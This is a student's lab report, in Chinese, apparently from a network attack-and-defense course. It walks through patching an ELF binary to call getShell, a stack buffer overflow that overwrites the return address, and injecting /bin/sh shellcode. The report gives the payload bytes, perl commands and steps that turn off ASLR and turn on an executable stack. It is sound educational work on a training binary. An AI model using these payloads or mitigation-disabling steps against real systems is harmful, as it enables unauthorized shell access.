20232424 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数
  • 利用 foo 函数的 Buffer Overflow(BoF)漏洞,构造攻击输入字符串,覆盖返回地址,触发 getShell 函数
  • 注入一个自己制作的 Shellcode 并运行这段 Shellcode

2.实验过程

1. 基础知识

汇编指令NOP,JNE,JE,JMP,CMP

  • NOP 是无操作指令,执行时不修改任何数据或标志位,仅消耗时钟周期。常用于时序控制、内存对齐或填充代码空位。
  • CMP 是比较指令,通过 “目的操作数 - 源操作数” 的隐性减法更新标志位(如零标志位 ZF),但不改变操作数本身。常作为条件跳转的前置操作,用于判断数值关系。
  • JMP 是无条件跳转指令,不依赖任何标志位,直接跳转到指定地址执行。用于强制改变程序流程,比如跳转到函数或循环起点。
  • JE(等于则跳转)是条件跳转指令,当零标志位 ZF=1(通常 CMP 后两数相等)时跳转。别名 JZ,用于判断 “相等” 的分支逻辑。
  • JNE(不等于则跳转)是条件跳转指令,当零标志位 ZF=0(通常 CMP 后两数不等)时跳转。别名 JNZ,用于判断 “不等” 的分支逻辑。

反汇编及切换十六进制

  • 反汇编:objdump -d 操作文件 将二进制语言转化为为汇编语言
  • 十六进制编辑器xxd:xxd 操作文件 切换为十六进制:%!xxd

BOF

  • 缓冲区溢出(Buffer Overflow,简称 BOF)是一种常见的计算机安全漏洞,其核心原理是程序向缓冲区写入超出其容量的数据,导致溢出的数据覆盖相邻内存区域,进而破坏程序执行流程或执行恶意代码

2. 实验过程

1.手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数

将pwn1文件传入虚拟机并改名为pwn20232424
image
试运行可操作文件pwn,提示权限不够,通过命令chmod +x ./pwn20232424为文件加上权限,再次运行,发现能正常运行
image
进行反汇编操作:objdump -d pwn20232424 | more,找到getshell,foo,main三个函数,可看到main函数中的call foo,此时需将其改变为call getshell
image
想调用getShell,就要修改“d7ffffff”为getShell-80484ba对应的补码,即47d-4ba=-61,补码0xc3ffffff

复制一份pwn2并用vi命令进入编辑
image
转换为16进制编辑,并找到d7ffffff改成c3ffffff
image
反汇编副本文件pwn2objdump -d pwn2 | more,查看main函数,如图,调用已被改为getshell
屏幕截图 2025-09-29 171931
试运行pwn2,成功调用shell
屏幕截图 2025-09-29 172131

2.利用 foo 函数的 Buffer Overflow(BoF)漏洞,构造攻击输入字符串,覆盖返回地址,触发 getShell 函数

注意到,foo函数缓冲区仅有28字节,存在溢出漏洞
image
要进行缓冲区溢出攻击执行getshell,那么接下来就需要将原地址覆盖,再将其改为getshell的返回地址

复制副本文件pwn20232424-1使用gdb对pwn20232424-1进行调试,以确认输入字符串的哪几个字符会覆盖到返回地址
image
输入字符1111111122222222333333334444444412345678,此时发现0x34333231覆盖了返回地址,即输入字符串中的“1234”。那么只需将“1234”替换为getShell的内存地址,就可以让程序执行getShell函数

因为已知getshell地址为0x0804847d,那么可构造字符串

perl - e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

再将字符串传入pwn20232424-1
image
可以看到,getshell被成功调用

3.注入一个自己制作的 Shellcode 并运行这段 Shellcode

添加一份新的副本文件pwn20232424-2,并做一些准备工作
首先下载execstack工具,此处我选择手动安装,然后对文件进行设置

execstack -s pwn20222414-3 #设置堆栈可执行
execstack -q pwn20222414-3 #查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
more /proc/sys/kernel/randomize_va_space #验证地址随机化是否关闭

image
接下来构造payload,以“1234”作为标识符,占用foo的返回地址,便于后续gdb调试及地址修改

"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"

输入以下命令创建一个shellcode文档,并将其内容作为pwn20232424-2的输入

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode #创建shellcode
(cat input_shellcode; cat) | ./pwn20232424-2 #注入

image

输入后打开一个新终端,输入如下命令查找原终端中pwn文件被注入的进程

ps -ef | grep pwn20232424-2

image
如图,进程号为95409

此时调用gdb对该进程进行调试,输入命令disassemble foo,反编译foo函数并进行分析
image

可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析

在新终端中按c继续运行,然后到原终端中终止该进程
image

输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcefc,再使用x/16x 0xffffcefc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的0x01020304
屏幕截图 2025-10-13 010447

shellcode就挨着,所以地址是0xffffcf00
接下来进行shellcode的注入

perl -e 'print "A" x 32;print "\x00\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

image
将input_shellcode的输入内容作为pwn20222414-3的输入

(cat input_shellcode;cat) | ./pwn20232424-2

image
如图,成功获取了shell

3.问题及解决方案

  • 问题1:在完成任务2时不理解反汇编的用处,跟着实验指导书输指令但是不知道每一步指令的含义及作用

  • 问题1解决方案:借用AI工具厘清每一步的逻辑:首先确认缓冲区是否存在溢出漏洞,若有,那么怎样输入字符串可以覆盖到原地址,之后就可构造字符串并进行注入从而获取shell

  • 问题2:任务3中在执行第一次shellcode输入时,在新开的终端中无法找到./pwn20232424-2这个进程,求助同学,输入命令./pwn20232424-2 &,出现进程(但这个进程其实是在新终端中打开的,而不是原终端中被注入的那个pwn20232424-2),使用gdb调试时发现,返回地址存放的0x080484ba始终未被替换为准备好的标识符0x01020304

  • 问题2解决方案:仔细思考,正如问题中描述的,我调试的并不是被注入的文件,那么返回地址自然就不可能发生改变。无法找到./pwn20232424-2的原因:在原终端进行注入时按下了多次回车,实际上该进程已经结束,无法找到。于是我尝试在(cat input_shellcode;cat) | ./pwn20232424-2后仅按下一次回车就开启新终端查找进程,果然找到,接着通过进程号进行gdb调试,返回地址存放的内容变为0x01020304

  • 问题3:与问题2为接续,gdb调试结果中返回地址为比较怪异的0xffdefb3c,计算得shellcode地址为0xffdefb40,但将地址替换后再次注入却提示管道破裂,无法调取shell

  • 问题3解决方案:没有搞清原理,我将文件全部删除后从任务3的第一步重新开始做,最后成功调取shell,没有出现问题

  • 问题4:execstack无法通过命令sudo apt install execstack直接下载,提示404

  • 问题4解决方案:通过AI工具查询镜像链接进行下载

4.学习感悟、思考等

对于汇编语言及栈运行机制认知不清晰,初接触本次实验一头雾水,完全不知道自己在干什么。通过询问同学及梳理指导书的逻辑脉络一步步厘清实验的目的及步骤,也算是第一次成功摸到了网络攻防的门槛。
本次实验中的payload构造和重定向输入是我此前不熟悉的部分,shellcode部分来来回回操作了好几次,每次都遇到大大小小不同的问题,比如“此时要将shellcode重定向输入到pwn1?pwn20232424?还是pwn20232424-2?”,“计算得到的地址应该放在新构造的payload的哪个地方”,“这个时候要开一个新终端吗,要在哪个终端里面按下回车?”等等,着实锻炼了一把我的分析与解决问题能力,但也让我对本次实验及课上所讲的内容有了更为清晰的认知。

参考资料

posted @ 2025-10-13 16:44  20232424陈鹏宇  阅读(22)  评论(0)    收藏  举报